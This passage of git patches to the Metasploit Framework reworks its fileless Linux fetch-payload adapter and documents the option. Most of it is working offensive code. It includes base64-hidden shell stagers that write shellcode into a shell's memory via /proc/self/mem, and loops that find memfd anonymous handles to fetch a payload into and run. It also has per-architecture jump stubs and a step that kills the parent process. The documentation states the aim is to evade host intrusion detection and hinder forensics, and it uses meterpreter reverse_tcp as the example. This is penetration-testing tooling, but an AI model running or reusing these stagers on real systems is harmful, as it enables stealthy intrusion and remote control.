_generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell' + return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'shell-search' return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+' diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb index 5e6f70a6a4319..9c0f4b60c481f 100644 --- a/lib/msf/core/payload/adapter/fetch/fileless.rb +++ b/lib/msf/core/payload/adapter/fetch/fileless.rb @@ -187,7 +187,7 @@ def _generate_first_stage_shellcode(arch) return payload end - def _generate_jmp_instruction_bash(arch) + def _generate_jmp_instruction(arch) # # The sed command will basically take two characters at the time and switch their order, this is due to endianess of x86 addresses @@ -271,40 +271,40 @@ def _generate_jmp_instruction_bash(arch) end end - # Original Idea: The idea behind fileless execution are anonymous files. The bash script will search through all processes owned by $USER and search from all file descriptor. If it will find anonymous file (contains "memfd") with correct permissions (rwx), it will copy the payload into that descriptor with defined fetch command and finally call that descriptor - # New idea: use /proc/*/mem to write shellcode stager into bash process and create anonymous handle on-fly, then search for that handle and use same approach as original idea - def _generate_fileless_bash(get_file_cmd, arch) - stage_cmd = % - stage_cmd << %(jmp=#{_generate_jmp_instruction_bash(arch)};) - stage_cmd << %(sc='#{_generate_first_stage_shellcode(arch).unpack("H*")[0]}';) - stage_cmd << % - stage_cmd << % - stage_cmd << 'read syscall_info < /proc/self/syscall;' - stage_cmd << "addr=$(($(echo $syscall_info | cut -d' ' -f9)));" - stage_cmd << 'exec 3>/proc/self/mem;' - stage_cmd << 'dd bs=1 skip=$vdso_addr <&3 >/dev/null 2>&1;' - stage_cmd << 'printf $sc >&3;' - stage_cmd << 'exec 3>&-;' - stage_cmd << 'exec 3>/proc/self/mem;' - stage_cmd << 'dd bs=1 skip=$addr <&3 >/dev/null 2>&1;' - stage_cmd << 'printf $jmp >&3;' +# Original Idea: The idea behind fileless execution are anonymous files. The bash script will search through all processes owned by $USER and search from all file descriptor. If it will find anonymous file (contains "memfd") with correct permissions (rwx), it will copy the payload into that descriptor with defined fetch command and finally call that descriptor +# New idea: use /proc/*/mem to write shellcode stager into bash process and create anonymous handle on-fly, then search for that handle and use same approach as original idea +def _generate_fileless_shell(get_file_cmd, arch) + stage_cmd = % + stage_cmd << % + stage_cmd << %(jmp=#{_generate_jmp_instruction(arch)};) + stage_cmd << %(sc='#{_generate_first_stage_shellcode(arch).unpack("H*")[0]}';) + stage_cmd << 'read syscall_info < /proc/self/syscall;' + stage_cmd << "addr=$(($(echo $syscall_info | cut -d' ' -f9)));" + stage_cmd << 'exec 3>/proc/self/mem;' + stage_cmd << 'dd bs=1 skip=$vdso_addr <&3 >/dev/null 2>&1;' + stage_cmd << %(printf "$(writebytes `printf $sc | awk '{gsub(/.{2}/,"0x& ")}1'`)" >&3;) + stage_cmd << 'exec 3>&-;' + stage_cmd << 'exec 3>/proc/self/mem;' + stage_cmd << 'dd bs=1 skip=$addr <&3 >/dev/null 2>&1;' + stage_cmd << %(printf "$(writebytes `printf $jmp | awk '{gsub(/.{2}/,"0x& ")}1'`)" >&3;) - cmd = "echo -n '#{Base64.strict_encode64(stage_cmd).gsub(/\n/, '')}' | base64 -d | bash & " - cmd << 'cd /proc/$!;' - cmd << 'og_process=$!;' - cmd << 'sleep 2;' #adding short pause to give process time to load file handle - cmd << 'FOUND=0;if [ $FOUND -eq 0 ];' + cmd = "echo -n '#{Base64.strict_encode64(stage_cmd).gsub(/\n/, '')}' | base64 -d | $0 & " + cmd << 'cd /proc/$!;' + cmd << 'og_process=$!;' + cmd << 'sleep 2;' #adding short pause to give process time to load file handle + cmd << 'FOUND=0;if [ $FOUND -eq 0 ];' - cmd << 'then for f in $(find ./fd -type l -perm u=rwx 2>/dev/null);' - cmd << 'do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ];' - cmd << "then if $(#{get_file_cmd} >/dev/null);" - cmd << 'then $f&;FOUND=1;break;' - cmd << 'fi;' - cmd << 'fi;' - cmd << 'done;' - cmd << 'fi;' - cmd << 'kill -9 $og_process;' - end + cmd << 'then for f in $(find ./fd -type l -perm u=rwx 2>/dev/null);' + cmd << 'do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ];' + cmd << "then if $(#{get_file_cmd} >/dev/null);" + cmd << 'then $f & FOUND=1;break;' + cmd << 'fi;' + cmd << 'fi;' + cmd << 'done;' + cmd << 'fi;' + cmd << 'sleep 2;' #adding short pause to give process time to load file handle + cmd << 'kill -9 $og_process;' +end # same idea as _generate_fileless function, but force creating anonymous file handle def _generate_fileless_python(get_file_cmd) diff --git a/lib/msf/core/payload/adapter/fetch/linux_options.rb b/lib/msf/core/payload/adapter/fetch/linux_options.rb index 592053d748e71..e144f7bcf7eca 100644 --- a/lib/msf/core/payload/adapter/fetch/linux_options.rb +++ b/lib/msf/core/payload/adapter/fetch/linux_options.rb @@ -5,7 +5,7 @@ def initialize(info = {}) [ Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP TFTP TNFTP WGET]]), - Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8','none', ['none','bash','python3.8+','sh-search']]), + Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8, tested shells are sh, bash, zsh)','none', ['none','python3.8+','shell-search','shell']]), Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}, conditions: ['FETCH_FILELESS', '==', 'none']), Msf::OptBool.new('FETCH_PIPE', [true, 'Host both the binary payload and the command so it can be piped directly to the shell.', false], conditions: ['FETCH_COMMAND', 'in', %w[CURL GET WGET]]), Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', './'], regex: /^\S*$/, conditions: ['FETCH_FILELESS', '==', 'none']) From c054ead6beb9d9c5533025de8cf1a4517e61eb8f Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Mon, 5 May 2025 07:54:16 +0200 Subject: [PATCH 20/22] Adds x86/x64 loader shellcode --- lib/msf/core/payload/adapter/fetch/fileless.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb index 9c0f4b60c481f..9064b18e44959 100644 --- a/lib/msf/core/payload/adapter/fetch/fileless.rb +++ b/lib/msf/core/payload/adapter/fetch/fileless.rb @@ -192,10 +192,15 @@ def _generate_jmp_instruction(arch) # The sed command will basically take two characters at the time and switch their order, this is due to endianess of x86 addresses case arch - + # x64 shellcode + # mov rax, [target address] + # jmp rax when 'x64' %^"48b8"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"ffe0"^ + # x86 shellcode + # mov eax, [target address] + # jmp eax when 'x86' %^"b8"$(echo $(printf %08x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"ffe0"^ From 44020b5650c93bc71ba564d9f5b46cee12b052db Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Thu, 19 Jun 2025 16:17:33 +0200 Subject: [PATCH 21/22] Adds more reliable splitting hex shellcode, more reliable shell spawning --- lib/msf/core/payload/adapter/fetch/fileless.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb index 9064b18e44959..71d8630ca40af 100644 --- a/lib/msf/core/payload/adapter/fetch/fileless.rb +++ b/lib/msf/core/payload/adapter/fetch/fileless.rb @@ -228,7 +228,7 @@ def _generate_jmp_instruction(arch) # lw $t2, 16($ra) # jr $t2 when 'mipsle' - %^"000011040000000026504a011000ea8f0800400100000000"$(echo $(printf %08x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ + %^"000011040000000026504a011000ea8f0800400100000000"$(echo $(printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ # MIPSBE shellcode # bgezal $zero, 4 @@ -287,13 +287,13 @@ def _generate_fileless_shell(get_file_cmd, arch) stage_cmd << "addr=$(($(echo $syscall_info | cut -d' ' -f9)));" stage_cmd << 'exec 3>/proc/self/mem;' stage_cmd << 'dd bs=1 skip=$vdso_addr <&3 >/dev/null 2>&1;' - stage_cmd << %(printf "$(writebytes `printf $sc | awk '{gsub(/.{2}/,"0x& ")}1'`)" >&3;) + stage_cmd << %(printf "$(writebytes `printf $sc | sed 's/.\\{2\\}/0x& /g'`)" >&3;) stage_cmd << 'exec 3>&-;' stage_cmd << 'exec 3>/proc/self/mem;' stage_cmd << 'dd bs=1 skip=$addr <&3 >/dev/null 2>&1;' - stage_cmd << %(printf "$(writebytes `printf $jmp | awk '{gsub(/.{2}/,"0x& ")}1'`)" >&3;) + stage_cmd << %(printf "$(writebytes `printf $jmp | sed 's/.\\{2\\}/0x& /g'`)" >&3;) - cmd = "echo -n '#{Base64.strict_encode64(stage_cmd).gsub(/\n/, '')}' | base64 -d | $0 & " + cmd = "echo -n '#{Base64.strict_encode64(stage_cmd).gsub(/\n/, '')}' | base64 -d | ${SHELL} & " cmd << 'cd /proc/$!;' cmd << 'og_process=$!;' cmd << 'sleep 2;' #adding short pause to give process time to load file handle From e46d21ebbe825e38b67eaaf2366967722e774d01 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Tue, 24 Jun 2025 15:33:55 +0200 Subject: [PATCH 22/22] Adds documentation --- .../How-to-use-fetch-payloads.md | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md index a18c40d7717e5..d28dfdbe4aed0 100644 --- a/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md +++ b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md @@ -81,7 +81,7 @@ served payload is the same. ### Dependent Options `FETCH_FILELESS` is an option that specifies a method to modify the fetch command to download the binary payload to memory rather than disk before execution, thus avoiding some HIDS and making forensics harder. Currently, there are -two options: `bash` and `python3.8+`. Both of these require the target to be running Linux Kernel 3.17 or above. +two options: `shell`, `shell-search` and `python3.8+`. All of these require the target to be running Linux Kernel 3.17 or above. This option is only available when the platform is Linux. `FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not @@ -104,6 +104,16 @@ The remaining options will be the options available to you in the served payload `linux/x64/meterpreter/reverse_tcp` so our only added options are `LHOST` and `LPORT`. If we had selected a different payload, we would see different options. +### Fileless Execution + +For Linux payloads, we support **fileless ELF execution** - this option is enabled with `FETCH_FILELESS`. Currently, this option can be the following values: `python3.8+`, `shell-search`, and `shell`. The basic idea behind all of them is the same: execute the payload from an anonymous file handle, which should never touch a disk, thereby adding a layer of stealth. + +The `shell-search` option searches for available anonymous file handles available on the system, copies the payload into the one it finds, and executes the payload from that handle. This method uses `POSIX` commands only so that it can be run in any shell. + +The `shell` option uses a slightly different approach: it runs the assembly stub from a shell, creates an anonymous file handle inside of the shell process, copies the payload into a new handle, and then runs it. Finally, it will kill the original shell process, leaving the payload running as *orphan* process. This method uses a syscall `memfd_create` to create an anonymous file handle. +This option can be used in any Linux shell. + +The `python3.8+` option uses the same technique as the `shell` option. However, it all happens in Python code. It will call the `os.memfd_create` function, which will create an anonymous file handle from the Python process. Then, it uses `os.system` to copy the payload into a new file handle and execute it. This option requires Python version 3.8 or higher on the target machine. ### Generating the Fetch Payload ```msf msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_COMMAND WGET